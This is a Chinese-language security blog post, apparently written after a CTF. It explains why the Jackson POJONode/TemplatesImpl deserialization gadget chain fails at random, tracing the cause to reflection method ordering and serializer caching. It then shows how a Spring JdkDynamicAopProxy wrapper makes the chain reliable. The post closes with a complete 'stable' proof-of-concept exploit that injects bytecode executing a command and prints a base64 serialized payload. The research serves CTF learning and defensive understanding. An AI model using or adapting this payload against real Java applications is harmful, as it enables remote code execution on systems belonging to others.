前言

昨天在晚上闲逛的时候看见了这样一篇文章 从JSON1链中学习处理JACKSON链的不稳定性

在阿里云CTF爆出这条jackson链子后,我自己本地尝试的时候就遇到过这种问题

有时会遇见这样的报错

com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])

从报错也能看出链子调用getter方法时优先调用了TemplatesImplgetStylesheetDOM 方法

image-20231004120718477

_dom 属性为null 导致了空指针异常,从而中断整个调用链。

而当其调用 getter 方法时优先调用 getOutputProperties 方法时才是我们正常想要的结果。

同时也导致后面的有些比赛想用这条链子走捷径也因为这个问题困扰许久(只能不停重置靶机来恢复),奈何自己也是java小白,jackson源码也看得一头雾水,今天正好看到解决方法,特此记录学习一下。

jackson链随机性报错原因

还是逃不了看源码,自己硬着头皮调了下源码,大致摸索到了出现这种问题的原因

反序列化流程

详细的流程就不说了,关键是触发 POJONode 类型对象的 toString 方法,然后内部经过一系列序列化器调用 POJONode 中封的 _value 属性的 getter 方法,从而调用 TemplatesImpl类型对象的 getOutputProperties 方法从而导致执行任意代码。

这里是如何从 toString 到调用相关getter的呢。

调试一下不难发现,toString 方法位于 POJONode 父类的父类 BaseJsonNode 中,其后会调用 com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString 方法来将自身序列化为 json 字符串,这里就到了研究jackson-databind这部分

官方文档 https://github.com/FasterXML/jackson-databind#1-minute-tutorial-pojos-to-json-and-back

这里先把整个调用栈贴出来

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)

可以看到最后是在 com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField 方法中利用反射来执行其 getter 方法,比如说这里就先执行了 TemplatesImplgetTransletIndex 方法

image-20231004121156085

往前看 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields方法

image-20231004121500865

props数组中每个值是BeanPropertyWriter 类型对象,之后循环调用其中的serializeAsField 方法来执行对应方法 。所以问题的关键就是找清楚这个props 数组的顺序,一路追踪这个变量,发现其根源是在 com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector#collectAll中调用 _addMethods(props) 方法来获取相关 getter 方法,之后将其添加到 prpos 属性中。

image-20231004122139283

image-20231004122333495

调用栈

_addMethods:680, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
collectAll:422, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
getJsonValueAccessor:270, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
findJsonValueAccessor:258, BasicBeanDescription (com.fasterxml.jackson.databind.introspect)
findSerializerByAnnotations:391, BasicSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:224, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)

这里 _classDef.memberMethods() 获取到的 Methods 的顺序决定了最终执行 getter 方法的顺序,继续深入后就能发现最终利用反射来获取 Methods

image-20231004122940582

所以其实问题就是反射 getDeclaredMethods 方法获取到的 Method 数组顺序是不确定的。

关于为什么在失败一次后,后面就行打这个payload一直还是失败的原因,这是因为jackson这个 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer(java.lang.Class<?>, boolean, com.fasterxml.jackson.databind.BeanProperty) 中获取序列化器有缓存机制,在第一次便会创建缓存,所以第一次失败后便不会再成功。

image-20231004124946081

根本原因

说了一堆废话,其实不用调试就能知道是反射获取Method数组顺序不一定,毕竟除了反射还能有啥方便的方法来执行对象的相关getter方法呢 🤡🤡

那为什么反射获取的顺序会出现问题呢,网上早就由前辈研究过了

这里想要深入了解得去看jvm源码

参考 https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

这个获取顺序是根据地址的大小来排序的,期间存在内存free的动作,那地址是不会一直线性变化的,之所以不按照字母排序,主要还是为了速度考虑,根据地址排序是最快的。

一个类里的方法经过排序之后,顺序可能会不一样,取决于方法名对应的Symbol对象的地址的先后顺序

所以其实就是反射 getDeclaredMethods 获取到方法的顺序是不确定的,最终导致执行相关getter方法的顺序也是不确定的,当 TemplatesImplgetStylesheetDOM 方法先于 getOutputProperties 方法执行时就会导致空指针异常从而导致调用链报错中断,exp利用失败。

解决随机性问题

参考 御林安全这篇文章

其利用 org.springframework.aop.framework.JdkDynamicAopProxy 来解决jackson链子的随机性问题

实现原理

我们知道java中动态代理是十分强大的,被代理对象所能调用的方法取决与我们所给的接口,其功能取决与我们所给的 handler。当我们用java的反射 getDeclaredMethods 方法去获取其所有方法时也是根据我们提供的接口去获取的。

这里写个简单的demo说明下

package org.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
    public static void main(String[] args) {

        Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler());
        for(Method m: myProxy.getClass().getDeclaredMethods()) {
            System.out.println(m.getName());
        }
    }
}

interface TestInterface1 {
    public void say();
}

interface TestInterface2 {
    public void test();
}

class TestProxy {

    public void eat() {
        System.out.println("eat something");
    }
    public void say() {
        System.out.println("say something");
    }
    public String getName(String a) {
        return a;
    }
}

class MyHandler implements InvocationHandler {

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("invoke dynamic proxy handler");
        return null;
    }
}

运行上述代码得到结果

image-20231004171639646

发现其反射获得的方法完全是根据所给的接口来的,不管被代理的类是否实现了对应的方法。动态代理中方法的实现都放在了handler中的 invoke 方法中了,调用其任意方法都会在 invoke 方法中执行,所以主要就是看所给的接口和handler就可以了。

javax.xml.transform.Templates 接口其只有 newTransformergetOutputProperties 这个两个方法,让他作为我们代理所需的接口,这样最终通过 getDeclaredMethods 获取到的方法就只有 newTransformergetOutputProperties 了,那么最终获得的getter方法便只有 getOutputProperties 了。

所以这里得找这样一个 handler,它的 invoke 方法中能的执行我们所调用的方法即可。

JdkDynamicAopProxy 是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。

这里看一下 org.springframework.aop.framework.JdkDynamicAopProxy 的具体源码

这里 advised 属性可控。

image-20231004173901979

重点看其 invoke 方法

可以看到234行会执行所调用的 method

image-20231004175800710

这里的 target 获取到的对象由上面所说的 advised 属性得到,我们将所需的 TemplatesImpl 的对象用 org.springframework.aop.framework.AdvisedSupport 封装即可

image-20231004180452432

image-20231004180527818

image-20231004180642657

其他具体执行流程请自行调式查看。

所以我们将构造好的 templatesImpl 这样封装一下

Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);

image-20231004184729161

十分稳定,该payload就算使用原来的payload打失败了也能接着用,无视其缓存机制,因为其最终调用的getter方法只有 getOutputProperties

稳定版payload

poc直接贴这了

package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;

public class Poc0 {

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);
        //利用 JdkDynamicAopProxy 进行封装使其稳定触发
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes = new POJONode(proxyObj);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);

    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

参考文章

https://xz.aliyun.com/t/12846

https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

https://github.com/FasterXML/jackson-databind